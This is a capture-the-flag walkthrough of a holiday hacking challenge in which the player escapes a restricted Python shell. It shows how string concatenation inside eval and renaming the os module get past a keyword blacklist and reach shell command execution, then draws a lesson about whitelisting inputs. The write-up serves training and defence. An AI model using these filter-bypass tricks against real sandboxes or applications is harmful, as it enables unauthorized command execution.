Skip to content

Python Escape from LA

Location: Balcony

Problem

I'm another elf in trouble,
Caught within this Python bubble.

Here I clench my merry elf fist -
Words get filtered by a black list!

Can't remember how I got stuck,
Try it - maybe you'll have more luck?

For this challenge, you are more fit.
Beat this challenge - Mark and Bag it!

-SugarPlum Mary

To complete this challenge, escape Python
and run ./i_escaped
>>> 

Hints

SugarPlum Mary introduces this terminal challenge saying:

I'm glad you're here; my terminal is trapped inside a python! Or maybe my python is trapped inside a terminal?

SugarPlum also suggests that we watch Mark Baggett's KringleCon talk on Escaping Python Shells.

Solution

Python provides many ways to access the underlying system it is being run on. We're given an environment where some of these have been disabled, and our job is to find one that still works. Following the methodology layed out in Mark Baggett's talk, I started with some common techniques which were blocked, then found a way that worked.

>>> import
Use of the command import is prohibited for this question.
>>> exec
Use of the command exec is prohibited for this question.
>>> eval
<built-in function eval>

Import and exec are both blocked but eval isn't, so we build on that next.

>>> os = eval('__import__("os")')
Use of the command import is prohibited for this question.
>>> os = eval('__imp' + 'ort__("os")')
>>> os.system("id")
Use of the command os.system is prohibited for this question.

Splitting import in half makes the error go away, but we're still prohibited from using os.system.

>>> hohoho = eval('__imp' + 'ort__("os")')
>>> hohoho.system('id')
uid=1000(elf) gid=1000(elf) groups=1000(elf)
0

Substituting a different name for os works, and now we can solve the challenge.

>>> hohoho.system('./i_escaped')
Loading, please wait......

  ____        _   _                      
 |  _ \ _   _| |_| |__   ___  _ __       
 | |_) | | | | __| '_ \ / _ \| '_ \      
 |  __/| |_| | |_| | | | (_) | | | |     
 |_|___ \__, |\__|_| |_|\___/|_| |_| _ _ 
 | ____||___/___ __ _ _ __   ___  __| | |
 |  _| / __|/ __/ _` | '_ \ / _ \/ _` | |
 | |___\__ \ (_| (_| | |_) |  __/ (_| |_|
 |_____|___/\___\__,_| .__/ \___|\__,_(_)
                     |_|                             
That's some fancy Python hacking -
You have sent that lizard packing!
-SugarPlum Mary

You escaped! Congratulations!

The lesson here seems to be that it's really hard to filter out all the bad things attackers might try to send to your application. It may be more effective to whitelist only known good inputs, otherwise an attacker who knows one more bad input than you will break through your defenses.